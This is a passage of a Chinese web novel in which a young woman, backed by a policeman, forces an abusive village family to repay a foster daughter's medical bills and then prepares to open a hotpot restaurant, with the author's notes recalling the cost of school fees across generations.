“行,闺女你敞亮,这事交给俺,俺指定办的明明白白!谁家给小麦帮的多,谁家帮的少,谁家一直干瞅着,俺这心里门清!” 苏丽珍笑道:“那可不行,叔奶您可别把自己那份也给送出去。” 然而说是这样说,但苏丽珍心里清楚,她当初换票时特意换了不少糖票和布票,这些票可以拆分,保重一家都能分到一点,还有富余。 说完了话,一行人才往林赖子家去。 从林队长家出来,这一路上到处都能碰见来看热闹的村民。 等他们走过去了,这些村民们立马就跟了上来,林队长轰了几次都轰不走。 好在他们虽然跟着,但出于对卢向杰这个公安的忌惮,大伙儿全程都很安静,没怎么闹出动静。 不过还是很别扭就是了。卢向阳就跟苏丽珍小声嘟囔,说感觉他们就像动物园里被围观的猴子!好在大伙是文明观“猴”,他还不至于走不了路,把苏丽珍都给逗笑了。 等终于到了林赖子家,大门外果然已经站了不少看热闹的人。 而林赖子家的大门也不出意料地紧闭着,想必里头的人早知道他们要来。 林队长直接上前叫门:“宝库,开门!看来你已经听着信了,你赶紧出来,看看这事咋解决!” 门里头还是静悄悄的。 卢向阳过去看了两眼,回来就跟苏丽珍咬耳朵:“门缝里有人影在晃,人肯定就在门边上看着呢!” 林队长显然也发现了,见里面的人装死,不由骂道:“宝库,你要是个大老爷儿们,你就开门,这么躲着算咋回事!” 围观的人群里立即有人小声起哄:“林赖子是赖子,当然不是爷儿们。”立马引起一阵低笑声。 林队长气道:“你个烂泥扶不上墙的,你躲得了和尚,还躲得了庙?人家公安同志可在这儿呢,你要再不出来,可别怪俺没跟你说清楚!” 显然“公安”俩字还是很好用的。这回林队长话音刚落,原本紧闭的大门就应声开了,一个四十出头的中年妇女就连哭带嚎地冲了出来! “唉呀,他叔爷啊,你可得给俺们做主啊!这三奶奶家也太不是个玩意儿了!俺家宝库不过是捡了她两块钱,这老东西就报了公安来抓俺们!她也太狠了!他叔爷啊,你可得帮帮俺们啊!” 苏丽珍听出这位应该就是小麦的生母,仔细打量一番,发现小麦长得跟她还是有些像的。 不过,小麦可比这位聪明善良百倍,起码不会听风就是雨,一上来就把自己那点子破事嚷嚷地人尽皆知—— 作者有话说:第一次用手机发文,速度慢就不说了,可能排版格式啥的也不太理想,希望大家见谅。 第73章 林赖子媳妇这一顿哭天抢地可谓石破天惊。 周围之前碍于卢向杰在而一直老老实实的村民们立马炸了锅。 “啥玩意?敢情三奶奶前儿在集上丢的两块钱是叫林赖子捡去了!” “这林赖子真不是个东西!三奶奶丢了这两块钱回家就上火病倒了,他看见也不告诉人一声,真是缺了大德!” “拉倒吧,啥捡的,要俺看就是他偷的!不行,俺得告诉三奶奶家一声,正好公安在呢,让人公安同志直接给老太太做主!” 这话一出立马获得周围人认同。 林赖子媳妇一听这话不高兴了,把脸上的鼻涕眼泪一抹,对着刚才说林赖子偷钱的人就很啐了一口。 “呸!放你娘的屁!俺家宝库才没偷钱!” “行了!这事等会再说!”林队长对她没啥好脸色,喝止了她一句,转头又接着朝大门里吼道:“林赖子,俺说话不好使了是不是!” 听林队长真动了气,院子里林赖子终于不装死了,不情不愿地从门里走了出来。 除了他,后面还跟着一对神情阴郁的老夫妻。 其中,面相明显有些刻薄的老太太一出来,就冲着林队长嚷嚷起来:“他叔爷,你好歹是俺家宝库亲堂叔,就因为那两块钱,你就干看着公安来抓他,你也太狠心了吧!” 林队长气得抽了抽嘴角,没好气道:“公安上门不是为了那两块钱的事!这事先放放!” 他指了指苏丽珍三人,说道:“人家这次是为了小麦的事来的!” 林赖子一家立时都皱了眉,林老太太嘟囔道:“小麦?跟小麦有啥关系?” 随即她又一脸凶恶道:“该不会是这死丫头在外头惹了啥祸,叫俺们给她擦腚吧!” 林队长没搭理她。苏丽珍冷冷瞥了她一眼,接过林队长之前的话,把小麦的情况当众说了一遍。 果然,围观的村民看着苏丽珍手里那厚厚的一沓医院票据再次炸开了锅。 “原来小麦这些天一直没回来,是出了这么大的事!这孩子,咋这么倒霉啊!” “是啊,刚刚这城里闺女说小麦以后最少还得再吃两年药,这人不就废了吗?这孩子命咋这么苦!” 听明白事情来龙去脉的林赖子一家可不干了。 林老太太第一个跳脚骂道:“死丫头被人砍是她的事,跟俺们有啥关系!再说俺们可没让你们出钱给她治伤!” 林赖子媳妇也嚷嚷道:“就是!你们自己愿意,有钱烧得慌,跟俺们可没关系!” 林赖子没说话,不过却是一脸放松的表情,好像这事真跟他没啥关系。 苏丽珍压根没跟这一家子废话。 她直接对林队长高声道:“林队长,之前这位公安同志的话,您应该还记得吧?这笔钱我们要得合情合理。不过他们这样的态度,我可没心情好好说话。” 苏丽珍的语气神态气势十足,再加上卢向杰面容严肃地站在那里,大家一时都有些被镇住了。 方才周围还议论纷纷,这会儿却鸦雀无声了。 林家人倒也不全傻,一看这架势,知道苏丽珍来头不小,不自觉就把之前的嚣张态度收敛了几分。 林队长知机,便趁势上前数落林赖子一家。 “啥叫跟你们没关系?人家公安同志可都说了,小麦是你们家的闺女,她没满十八周岁,就得归你们管,这是国家的规定!所以人家给小麦垫得医药费自然要跟你们要!” 眼见着林老太太和林赖子媳妇嘴一歪,又要骂人,林队长直接朝二人喝道:“管好你们的破嘴!” “这可不是你们平时耍赖犯浑的时候!都张大你们的狗眼好好瞅瞅,看看人家是你们得罪得起的吗!” 林赖子一家都不敢吭声了。 林赖子眼见着苏丽珍一行人招惹不起,又实在不想掏钱,都不用苏丽珍费什么t功夫,自己绞尽脑汁想了半天,随后一拍脑子,就嚷嚷起来: “那啥,你们不能朝俺们要钱!那死丫头早就不是俺林宝库的闺女了,俺早就把她赶出俺们老林家了!” 这话就像打通了林家人所有的“开关”,其他三人也纷纷应声附和。 “对对!她早就不是俺们林家人了!” “村里大伙儿都知道,这死丫头十三岁就自己跑出去了,这离家都五六年了,她早跟俺们没关系了!” 林老太太更是一副仇人语气,恶狠狠道:“这小/逼/养的,小小年纪就出去鬼混!挣了钱也不知道拿回来孝敬俺们,俺看她活该被人扎一刀!呸,下/贱/玩意儿,咋不直接死在外头!” 这话实在太难听了,如果不是亲眼所见,苏丽珍三人绝不会想到这世上会有人这么咒骂自己的亲孙女。 林队长气得额头上的青筋高高竖起; 卢向阳也忍不住上前一步,想开口教训教训这一家子没人味儿的,却被苏丽珍一把拉住了。 她目光冰冷地从林家人身上扫过,语气嘲讽道:“这可不是你们说什么、就是什么。林小麦就是你们家的人,这是村里有眼睛都看到的。” “而且,光凭你们是一个户口本上的,这事你们就赖不了!” 这话一下提醒了林赖子,他连忙扯着嗓子喊道:“那俺今天就当着全村老少的面说一声,俺要跟死丫头断绝关系!连她的户口也得从俺家挪出去!” 这时,一直没怎么出声的林老头忽然接过话:“不光这些,俺们今天还要写张凭证断亲!” 他一边说,一边不时往卢向杰那边瞄一眼,“反正以后林小麦的事就跟俺们家没关系了,再谁来都不好使!” 苏丽珍本以为这老头一直没出声,兴许是心里对小麦这个孙女还有几分感情,看来还是她高估对方了。 果然,不是一家人不进一家门,臭鱼烂虾一窝脏。 不过这样倒也正中她下怀,索性就没再开口。 林赖子一家见苏丽珍不说话了,以为自家妙计得逞,顿时得意起来。 林老头更是一把拽住林队长,非让他帮忙现在就写断亲书。 林队长眯着眼,看着眼前这个在村里有几分老实人名声的堂兄弟,忍不住还是劝了句: “老哥,你可想好了,这断亲书一写,这小麦可就不是你们家人了。” 林老头满不在乎道:“不是就不是,一个丫头而已!再说,这丫头从出生起,俺家就没消停过,她两个姐姐都被她克死了!” “现在她还把她自己都克成病秧子了,俺们要不把她撵走,俺家谁也得不了好!” 林队长一阵心凉,至此再不多话,从随身带的笔记本里扯下一页,迅速写好了一份断亲书,又让林家所有人都按了手印。 期间,见林赖子一家说写断亲书就写,同村大多数人都有些看不过去。 不少人就劝老林家别把事做这么绝,毕竟小麦现在还病着,他们一分钱不掏就罢了,还连人都不管,这不是逼孩子去死吗? 结果好言相劝的人都被林老太太骂了个遍。 那架势,就好像所有劝他们的人都不安好心似的。 林赖子更是记着苏丽珍之前的话,上蹿下跳让林队长今天就把林小麦的户口从他们家迁出去。 现在迁户口不光要大队开证明,还得去公社跑手续。 林队长走不开,就让自家大儿子代他跑一趟。 苏丽珍在旁边听见他跟大儿子叮嘱,小麦的户口先落他们家,还让对方走之前回家带两包香烟,争取快去快回。 苏丽珍心里满意,觉得小麦这位叔爷精明又不失人情味,也算不幸中的万幸。 等林队长大儿子一走,苏丽珍看着仿佛无事一身轻的林赖子一家,冷笑了一声,开始跟他们真正算算账。 “好了,既然你们的家事处理完了,现在咱们来说说你们家欠账的事吧!” 林赖子一家一听这话,直接愣住了! 他们以为自己听错了,下意识都看向一旁的林队长。 林队长起先也跟着愣了一瞬,他也以为只要迁出小麦的户口,这事就算完了……不过,随即他又想明白了,人家这是打定主意要教训教训林赖子一家! 他想起刚刚这一家子的态度,也觉得他们活该,干脆扭过头去,假装没看见。 然而林队长可以不吱声,林赖子家不行啊! 林赖子赶紧道:“你这小丫头,你啥意思!你没看见俺们已经跟小麦断了亲,她跟俺们现在没关系了!你……你故意找事是不是?” 他其实想骂对方眼瞎,但是瞄见旁边的卢向杰,到底没敢骂出口。 苏丽珍却一脸理所当然道:“你都说了,你是现在和她没关系了。可我给她垫付医药费时,她户口还在你们家,她也还是你家的人,所以这钱我自然还是朝你们要!” 林赖子一家没想到,苏丽珍会说出这种话。合着折腾了这么半天,他们还是要还她钱,一个个差点气疯了! 林赖子指着苏丽珍的手都哆嗦了,“你、你个死丫头,你这就是不讲理!” 苏丽珍笑了一声,“这怎么是不讲理呢?大伙儿不是都看见了吗,你这断亲书是今天写的,户口也是今天准备迁的。” “可林小麦受伤入院是二十多天前的事啊!那会她就还是你们家的女儿,这先后顺序很明白嘛!” 一听苏丽珍说完,周围看热闹的人不由又议论起来。 “这话好像也没毛病!林赖子家这钱是该给人家!” “俺听着也是,咱就是说,这不也得分个先来后到嘛!” 一旁卢向阳差点乐出声! 神的先来后到,这跟先来后到有啥关系! 就连卢向杰,虽然严肃的表情始终没变,但是眼中已经有了一丝笑意。 其实他们都知道苏丽珍这属于胡搅蛮缠,但是他们实在看不惯林家人的行径,现在看他们吃瘪,都觉得心里痛快—— 作者有话说:又是不适应的一天。实在写不完了,我也高估自己了,下一章一定把这个情节写完,写不完锤自己,锤完再写!! 感谢在2023-04-0114:59:03~2023-04-0215:28:16期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:檐上月3瓶; 非常感谢大家对我的支持,我会继续努力的! 第74章 林家人气急败坏,林老太太直接一屁股坐在地上开始哭嚎起来:“唉呀,俺不活了!这是要逼死俺老太婆啊!老天爷呀,你咋不劈一道雷,把这丧良心的都给劈死了?太狠心了……” 苏丽珍冷眼看着对方闹腾,一副浑然不在意的语气道:“一哭二闹三上吊,是吧?你折腾这些如果真的有用,这天底下就不会有坏人了,你看我会不会多看一眼!” 林老太太一看这招不管用,立马跳起来指着苏丽珍鼻子骂道:“你个小/逼/养的,你爹妈没教你要尊敬老人吗?俺都这么大岁数了,你还这么跟俺说话!俺今天就替你爹妈好好教训教训你!” 说着举起手就要往苏丽珍这边扑过来。 林队长见势不好,赶忙从旁把人拽住了。 卢家兄弟也迅速上前一步,挡在了苏丽珍身前。 苏丽珍冷冷道:“我爹妈自然是教过我要尊老爱幼的,但前提对方得先是个人!” 说完,她不再看林家人,而是对林队长道:“林队长,您也看到了,不是我想把事情闹大,是有人压根不把我当回事!既然这样,我也不会客气了。” 转头,她就对卢向杰高声道:“公安同志,我现在就要报案!这里有人……” “别、别!” 这回不等苏丽珍说完,林赖子和林老头吃不住吓,父子俩异口同声阻拦起来。 “小姑娘,俺们还钱!还钱!可千万别报公安啊!” 林老太太一听急了,又舍不得打儿子,上去就搥了林老头一杵子,“你疯了?咱家哪有这么多钱!” 林老头气道:“不给钱,你能眼睁睁看着宝库被他们带走?” 林老太太瞅了瞅儿子,终究说不出让儿子被公安带走的话,又急又气,瞪着苏丽珍的眼神像淬了毒的刀子。 林赖子夫妻俩也面如死灰。还是林老头强打精神跟苏丽珍卖惨求情: “小姑娘啊,你行行好,你们城里人一看就不差钱t,但俺们乡下人是真不容易,尤其俺家没啥壮劳力,那是真困难!” “姑娘,你发发慈悲,这钱就让俺们先欠着,等啥时候俺手头宽裕了再还你,成不?” 这话果然够不要脸,连周围看热闹的人都知道这是林老头想故意拖着,苏丽珍自然也不惯着他。 她摆出一副好说话的架势道:“这好办啊,你放心,我也不是那么不近人情的人。” 眼见林老头露出欣喜的神色,苏丽珍却自顾自往下说道:“既然你们家有困难,那这钱可以先还一半,剩下的一半,我允许你们用每年分的粮食抵账。” “放心,我肯定不能都拿走,就每年给我二百斤大米就行。” 林老头脸上的笑顿时僵住了,他看着苏丽珍的目光中不由闪过一抹狠色。 “小姑娘,俺劝你可别把人欺负的太狠了,要知道老实人也是有脾气的!” 苏丽珍听了这一句,噗嗤笑了一声。这是软的不行,又来硬的威胁上了? 真是咬人的狗不叫! 她正想反讥两句,这时林家敞开的大门里忽然冲出来一个十一、二岁的男孩,冲着苏丽珍就直直撞了过来! “你个大坏蛋,俺要打死你!” 男孩壮的像个牛犊子似的,真要被他撞一下肯定得受伤。 好在苏丽珍躲的及时,卢向阳也一把拽住了这男孩肩膀,止住了他的冲势。 男孩被按住后,还一边拼命挣扎,一边对着苏丽珍破口大骂:“你妈/逼/的,你个下贱/玩意儿,俺都听见了!你要抢俺们家的钱,还欺负俺爷、俺奶和俺爸!俺要整死你!” 苏丽珍冷笑一声,原来这就是林家捧在手心里的金孙,大名叫林金蛋的宝贝疙瘩,这根子歪的可不是一点半点儿! 周围村民也都纷纷摇头,直说这孩子被惯坏了,比照他三个姐姐真是差远了。 林金蛋挣脱不开,又开始跟林家人求救:“爷、奶,你们快救俺!” 林家其他人一看自家的宝贝疙瘩被苏丽珍的人摁住了,立马都慌了! 可他们刚想上前,卢向杰高大的身影就直接挡在了前头,那一身威严正气,让他们那点勇气一下散了个干净,只能站在原地,不敢再上前。 林金蛋叫嚷了半天,见他爷奶爹妈都在一旁看着,不来救自己,这才开始感到害怕。 这时苏丽珍过来,轻轻俯下身,先是对他微微一笑,这才开口道:“我是不是坏蛋不要紧,不过你马上要有一个赖账不还的坏蛋爸爸了。” “说不定公安叔叔会把他带走,送他去劳教,这样你的坏蛋爸爸就会成为一个劳教犯。” “你爸爸平时对你一定很好吧?所以即便他成了劳教犯,会让你被所有人讨厌,一辈子抬不起头来,你也千万不能嫌弃他哦!” 明明苏丽珍脸上带着笑,可林家所有人都觉得此刻的她像个恶鬼。 然而苏丽珍的话还没有说完,“对了,说了这么多,你还不知道什么是劳教吧?” 只见她忽然把脸上的笑容一收,盯着林金蛋语气阴森道:“想弄清楚这个很简单,只要我把你也送去劳教所,让你陪你爸爸作伴儿就行了。” “正好你刚刚也说要打死我,这可是个好罪名……听说劳教所现在也收半大的孩子呢!” 林金蛋在这样的攻势下再也坚持不住,终于吓得嚎啕大哭起来。 林家其他人也受不了了,林老头一跺脚对苏丽珍喊道:“别说了,别说了!俺给钱!给你钱还不行吗!” 随即就撵林老太太赶紧回屋拿钱,林老太太磨蹭了半天不愿动,急得林老头直接踢了她一脚:“痛快儿的,你真想看金蛋他们爷俩都被带走啊!” 林家人知道自家胳膊拧不过大腿,这回彻底蔫儿了。 林老太太抠抠搜搜拿出了八十块钱,据说已经是林家现有的大部分家底儿。 剩下三百一十八块多的欠款,也按照苏丽珍说的,全部从林家每年的粮食里抵扣,而且是直接从大队那里划走,压根不过林赖子家的手。 一年二百斤粮食,自然不能全是大米,林家实在拿不起。 所以最后林队长说和,两家约定这二百斤粮食中有一百斤是大米,剩下一百斤是高粱、苞米面等粗粮。 按照时下的粮价,大米一斤一毛七,高粱、苞米一斤九分钱,这二百斤粮食差不多值个二十六、七块钱。 以这个标准,林赖子一家要还清这笔钱,起码要十五年! 也就是说,接下来的十几年,林赖子一家都要一直过着这种饿不死、但也活不起的日子。 除非他们家能一改之前的恶习,吃得辛苦,踏踏实实干几年。 可熟知他们一家的人都知道,这对他们来说基本不太可能。 林队长帮苏丽珍写下这份还粮的契书,最后让林赖子按了手印。 至此,这次要账以林赖子一家赔钱又赔粮划上了句号。 对林家人来说,这个惩罚简直就是刮骨剜肉,着实让他们一家子疼到骨子里。 而村里人这么多年头一次看见这混不吝的一家“铁公鸡”拔毛,都觉得分外解气,纷纷喊着痛快。 难受的也只有林赖子一家了。不过,更难受的似乎还在后面。 就在苏丽珍三人准备离开时,一伙六七个人拎着大扫帚、铁锹等家伙式儿,呜嗷喊叫着就朝林赖子家冲了过来。 打头一个壮汉指着林赖子就是一声怒吼:“林赖子,你个狗娘养的,你赶紧把俺娘那两块钱还回来,要不然老子今天就整死你!” 苏丽珍和卢氏兄弟对视一眼,敢情这就是那位三奶奶的家人吧! 苏丽珍观察那家人,见他们个个长得结实有劲,林赖子这一关恐怕不好过。 当然有卢向杰这位公安在,整死是不可能被整死的。 不过是林赖子家这只“铁公鸡”又拔了一次毛而已。 眼看着三奶奶的家人要回了钱、满意离去,林老太太瘫坐在地上,这回是真哭得不行了。 那一声接一声的,树上的老鸹们都被惊飞了好几只。 因为回城的路上正好要经过林家大队所在的公社,苏丽珍就决定先去趟公社,看看小麦的户口办好没有。 林队长想了想,决定陪他们走一趟,就坐上了卢向杰的自行车。 结果他们刚一出村口,就跟回来的林队长家大儿子走了个对头碰。 林队长大儿子这一次迁户口办的很顺利。 苏丽珍看着暂时落在林队长家户口本儿上的“林小麦”三个字,心里十分欣慰。 从今以后,小麦终于可以同那个地狱一般的家庭划清界限,也同林家人再无瓜葛了! 实在可喜可贺。 临别之际,苏丽珍把那张林赖子家还粮的契书交给了林队长。 “林叔爷,我把这每年的二百斤粮食都留给你们队上,去帮助村子里那些念不起书的孩子们,尤其是像小麦这样的女孩儿!虽然不多,但是能帮一个、算一个吧,希望您能为这事多费点心。” 林队长怔了怔,没想到苏丽珍会做出这样的决定! 他看着眼前这个小姑娘的目光充满了敬意、感激和喜悦。 要知道现在公社小学一年的学杂费才两块多钱,可就算这样,很多家庭还是供不起。 有苏丽珍这二百斤粮食换的钱,最少能帮十个孩子念书了! 他使劲点了点头,以无比郑重的语气向苏丽珍保证道:“好孩子,俺替俺们村里那些念不起书的孩子谢谢你!” “你放心,只要俺还在这个大队长的位子上一天,俺就保重这笔钱的每一分都花到刀刃上!绝不辜负你这份心意!”—— 作者有话说:说到学费,我母亲是49年生人,九岁才去上小学,那时乡下的小学一学期才一毛钱,书费不花钱,可以直接捡我大舅的。 但我姥姥家孩子多,这样都念不起,是我母亲的老师跟学校申请免除学杂费,每顿食堂还给补贴点吃的,就这样我母亲磕磕绊绊念到66年。 到我姐姐的时候,她是78年生人,七岁入城镇小学,那时经过83、84年全国工资普调,物价已经上涨了,我姐一个学期学杂费要四块五毛钱。那时我父母一个月加一起能挣二百块钱,供她还不算吃力。 到我的时候,九十年代中末期,我父母的单位效益已经很不好了,几乎整年开不出工资,我那时一学期学杂费要五十块钱。 此外,当时还有一项政策,户口不在当地的借读生要收高额借读费,我一二年级时,这个借读费是一百,到了三年级直接长到二百六,t这笔钱当初让我们全家没少发愁。 感谢在2023-04-0215:28:16~2023-04-0315:28:14期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:檐上月2瓶; 非常感谢大家对我的支持,我会继续努力的! 第75章 苏丽珍三人回到市里,眼见着过了前面一个路口,和卢家兄弟就不顺路了,苏丽珍停下车子,正准备跟兄弟俩好好道谢,没想到卢向阳忽然出声道: “丽珍,你先别急着跟我们道谢。我倒是觉得经过今天这一回,应该说谢谢的人是我。” 苏丽珍闻言不由看向一旁的卢向杰,卢向杰只是冲她温和地笑了笑,用眼神示意她接着听。 于是,两人都把目光转向卢向阳。 卢向阳一改来时的轻松随意,神情肃然道:“今天这一趟对我的触动很大……小时候我的理想就是练出一身好功夫,长大后当一名警察。除强扶弱,保护善良的好人,打击作恶的坏人,为人民服务。” “可是经历了今天的事,我忽然不确定什么是善、什么是恶!这两个字又真的能完全代表一个人的品行吗?还有强弱之间又是如何界定的呢?” “就拿今天的林赖子一家来说,他们并不算真正作奸犯科的人,对自己的儿/孙也称得上舐犊情深。” “可他们在对待自己的亲生女儿/孙女时,简直就是再恶毒不过了!” “再者,相比我们大部分城里人,他们家境困难,生活不易,绝对算是弱势群体。但他们却把自己的恶意都投入到比他们更弱小无助且无辜的人身上!” “那一刻,他们同样是恃强凌弱的恶人,让人丝毫同情不起来。” 卢向阳语气低沉道,“老实说,今天我真的受到了很大震撼。也许终我一生,我也想不明白这些问题。” “但我想明白了一件事,那就是今后不管干什么,我只求一个问心无愧,要对得起别人,更要对得起自己的良心!” 卢向阳一口气说了这么一番肺腑之言,作为听众的苏丽珍和卢向杰在听完后都不约而同地为他鼓起了掌。 苏丽珍认真看着对方,由衷说道:“向阳,你这番话说的真好!也祝贺你找到了自己的方向,我为你感到高兴,也为你感到骄傲!” 她相信,只要今后卢向阳能坚持他所选的路,那无论将来他从事什么职业、是否能取得成就,都不会影响他成为一个品德高尚、值得信赖的人。” 苏丽珍直白的夸奖让卢向阳有些不好意思。 而作为哥哥的卢向杰,这时也拍了拍弟弟的肩膀,一副与有荣焉道:“你小子,好样的!要记住你今天说的话。” 他也没忘记把苏丽珍捎带上,“你们两个小家伙都是好样的。我像你们这么大的时候,每天还只惦记怎么从我老妈那里多混点好吃的,你们可比我强多了!今后还是得看你们啊!” 这句话把苏丽珍和卢向阳都给逗笑了。 最难解决的从林家人手上拿回小麦户口的问题解决了。 那之后又因为有卢向杰的帮忙,苏家很快办好了小麦的收养手续,成功把小麦的户口迁入了苏家。 在确定小麦正式落户前,苏丽珍和父母才把这件事告诉她。 而听说自己以后不用再跟那狼心狗肺的一家人有牵扯,能成为真正的苏家人时,小麦喜极而泣。 所以在苏卫华夫妻征求她意见,问她要不要改姓时,小麦毫不犹豫地点了头。 她做梦都想摆脱这个带给她无尽痛苦的姓氏! 不过在干爸干妈问她要不要顺道改个名字时,小麦却犹豫了 倒不是她多喜欢小麦这个名字,而是“麦”这个字,是她和大姐、二姐共有的名字。 如今两个姐姐都已经故去,这世上,也只有她这个妹妹还记得她们曾来过,所以她想保留这个名字,以此祭奠她两个苦命的姐姐。 苏丽珍一家三口自然尊重她的决定,从今天开始,这世上少了一个林小麦,而多了一个苏小麦。 她将挥别过往苦难,开启新的人生。 此外,苏丽珍还把从林家要来的八十块钱也交给了小麦,并把自己将林家每年那二百斤粮食捐给大队的决定告诉了她,立马换来了小麦的双手赞成。 在感受到了苏家人的温暖关怀后,小麦真心盼望,那些跟原来的她处境相同的孩子们可以过得好一点! 她觉得妹妹做了她最想做的事,尤其用的还是从林家要来的钱,那就更畅快了! 至于那八十块钱,她也是基于气死林赖子一家的心理,没有跟苏丽珍客气。 不过拿到钱后,她转头就催着苏丽珍代替她去了趟百货商店,按她的要求,给苏卫华和李翠英一人买了一件羊毛衫。 给苏丽珍这个妹妹买了一套羊毛的帽子、围脖;还有师哥丁大勇,则是一双牛皮面的大头鞋。 这八十块钱几乎全花光了,让苏卫华夫妻又是感动、又是心疼她乱花钱。 小麦落户问题解决后,时间一晃来到一月三号,小楼这边装修也基本完工了。 只剩下二楼住宅部分的床、柜等家具还没时间打。 不过这也好办,苏丽珍一家先让两伙木匠师傅们把一家四口的床在这两天时间内赶出来。 至于其他的柜子、桌椅的,让师傅们回去慢慢儿打,反正现在住的老房子里还有四口装衣物的木箱子,当初用的都是好木料,基本就能解决衣服物品临时存放的问题。 桌椅也都先用旧的,等将来新家具到位后,再一点点翻新或者替换。 因为现在装修用的材料都简单,所以小楼完工后晾个两天就差不多了。 李翠英找人看过日子,说是一月六号那天就是个好日子,开张大吉。一家人就把那天定做了正式开店的日子。 在给薛老爷子以及一众干活的师傅们各包了一个大红包后,接下来的三天的时间,苏家人就开始把老房子的东西陆续往新楼上搬。 同时,他们也跟张表舅打好招呼,各种食材准备进店。 这座二层的小楼哪哪都好,就只有一点,因为是独门独栋,又紧邻马路,所以没有院子,既建不了仓库,也挖不了地窖。 全靠一楼两个储藏室放东西,店开起来后难免不够用,更别说肉类还需要冷冻保存。 好在二楼有个露台,一次送来百八十斤的肉装在水缸里,再摆在露台背荫处,也足够用两天了。 除了这些,还有招人的问题。 原本苏卫华夫妻是想着新店开张,生意还不知道好坏,就打算一切都自己来,能省一个是一个。 小麦也说自己可以帮忙。 苏丽珍却不同意,虽然火锅店乍看上去不像炒菜馆子那么麻烦。但是从前期洗菜、改刀到后续洗碗、打扫卫生,也就是少了一道开火炒菜的工序,其它活儿一样都不少。 所以还是那句话,她开这个店是为了积累财富,让一家人过上好日子,可不是让大家每天累个半死! 更别说小麦这身体才见一点好,让她去帮忙,苏丽珍宁愿自己不上学,请假回家干活。 因为她在这件事上少见地发了脾气,其他人很快就妥协了。 苏丽珍准备趁这两天先把招人的广告贴出去。 按她的打算,店里先雇一个改刀打下手的人,毕竟吃火锅,涮肉是主力,现在还没有专门片肉的机器,店里招一个刀工好的,可以负责备菜,就能缓解李翠英的压力。 另外,还可以雇一个钟点工,每天过来半天时间,帮忙洗锅刷碗。 如果后续生意好,忙不过来,再考虑加人。 只是她的广告还没贴出去呢,张表舅就一脸不好意思地过来打听起店里招工的情况了。 苏丽珍恍惚记得丁大娘和丁大勇都说过,张表舅的媳妇好像做饭手艺很不错。 她思忖,看张表舅这样子,莫不是有心想让他媳妇过来应聘? 怕对方抹不开,苏丽珍就主动问了一句,结果张表舅还真就是这个意思。 他想让他媳妇来应聘店里改刀的。 张表舅一家的为人,苏丽珍自然信得过。而且这位张舅妈之前跟张表舅一起来送过货,双方早就见过面,那也是一个说话做事都很敞亮的人。 苏丽珍一家对她印象很好。 不过考虑到张家离城里太远,人在店里干一天活,还要见天上下班来回跑,一般可受不了。 没想到张表舅t居然告诉她,他们家现在已经搬到公社去了。 原来,托苏丽珍一家的福,张表舅今年可没少挣。家里的日子眼见着宽裕起来,也有钱送孩子们去上学了。 张表舅有三子一女,大儿子已经结婚了,二儿子去年上秋说得亲,小儿子在公社念初二,还有个小闺女前年也考上了初中。 之前家里条件不好,只能供一个人上学,兄妹两个都想把机会让给对方,最后还是成绩更好一点的哥哥留在了学校。 张家条件好了之后,张表舅做的第一件事就是把小闺女送回了学校。 今、明两年,张表舅的孙子、孙女也该上小学了,可他们大队的位置实在太偏了,大大小小的孩子们上一次学要走十几里路。 张表舅心疼孩子们,一咬牙干脆在公社租了个小院,一家人都搬过去,等农忙的时候再回去。 反正他有自行车,住在哪儿都不耽误他来回收货、送货,而且住在公社,离城里近了一大半路程,送货还更方便了。 听张表舅这么一说,苏丽珍一家二话不说就拍板把人定下了。 这样知根知底又可靠的人可不好找。 到时,张舅妈负责后厨洗菜改刀、打打下手,每天早八点半上班,晚六点半下班,每月可以休两天。 一个月三十块钱,外加供中午、晚上两顿饭。 如果店里生意好,每月还有奖金拿。 这条件对张表舅一家来说,简直丰厚地超出了他们的想象! 以至于憨厚的张表舅老是担心他们家是在贴钱照顾他,好几次欲言又止,想让苏丽珍把自家媳妇的工资减个十块、八块的。 让苏丽珍哭笑不得—— 作者有话说:感谢在2023-04-0315:28:14~2023-04-0417:08:46期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:琪琪1瓶; 非常感谢大家对我的支持,我会继续努力的! 第76章 这样店里就只需要再招一名钟点工就可以了。 可能是小楼地段好、人流量大的缘故,广告贴出去不到半天的工夫,陆陆续续就来了七、八个人进店打听。 苏丽珍和李翠英经过仔细观察,最后选中了一个家就住在这附近的中年妇女。 妇女自称婆家姓钟,大伙儿都管她叫钟嫂子。 钟嫂子四十出头的年纪,人看上去有些拘谨,明显不善言辞,但身上的衣服洗的发白,头发梳的整整齐齐,指甲也干干净净,一看就是个很讲卫生的人。 这点让苏丽珍一家尤为满意。 李翠英试着让她做了点儿厨房的活计,发现她干活麻利细致,就更满意了,所以当场就拍板把人留下了。 因为是做钟点工,钟嫂子不需要全天在店里。每天上工分两个时段,中午十一点到一点半;晚上五点到七点半,一共五个小时。 另外,没有休息日,但有事儿可以请假,一天、半天的可以不扣工资。因为上工的时间段是店里最忙的时候,所以工资一个月十八块,外加包两顿饭。 看得出钟嫂子对这个待遇很满意,对苏丽珍一家几乎谢了又谢。 从她进屋总共也没说几句话,倒是有一半在道谢。 改刀帮厨的人有了,洗碗刷锅的钟点工也招到了。等开业后的服务员工作就暂时让苏卫华先顶上了。 为此,苏丽珍还参考上辈子在米国餐馆打工的经历,让丁大勇用旧的儿童推车改造出了后来的饭店上菜专用的多层手推车。 用它上菜,安全方便又快捷,苏卫华推着走了两圈后,直说有了这小东西,别说店里一次十二张桌都坐满,就算再来十二张,他也忙的过来。 店里万事俱备,只等日子一到就准时开张了。 不过在这之前,苏家还有一件大事要办。 之前小麦住院那会儿,苏卫华就说过,收这个干女儿要通知亲戚朋友,好好摆上两桌酒,让小麦跟大伙儿正式见个面。 而且家里马上要开店了,虽然为了不露富,他们暂时不会说小楼已经被买下了,但是开店这么大的事总要告诉亲戚朋友一声。 有这两个原因,所以开店前一天中午,苏卫华特地在店里预备了两桌席面,把苏丽珍爷奶和小叔一家都接过来了。 苏丽珍的两个姑姑都嫁到了外地,如今三五年也不回来一次,自然来不了。 除了苏家人,还有两个苏卫华在机械厂时的朋友。当初苏卫华病重的时候,这两个朋友没少帮忙。 中午时候,苏家人是最先来的。 本来,苏丽珍的爷奶和小叔一家突然听说苏卫华收了个干闺女,已经够吃惊了。 后来又听说苏卫华把人民路的独栋小楼租下来,准备开火锅店,那简直就是相当震惊! 等再亲眼见到眼前收拾得焕然一新、漂亮气派的小洋楼后,一个个直接嘴巴都合不上了。 苏奶奶扶着大门好半天不敢进,直说这房子太气派了,她看着都有点儿眼晕。 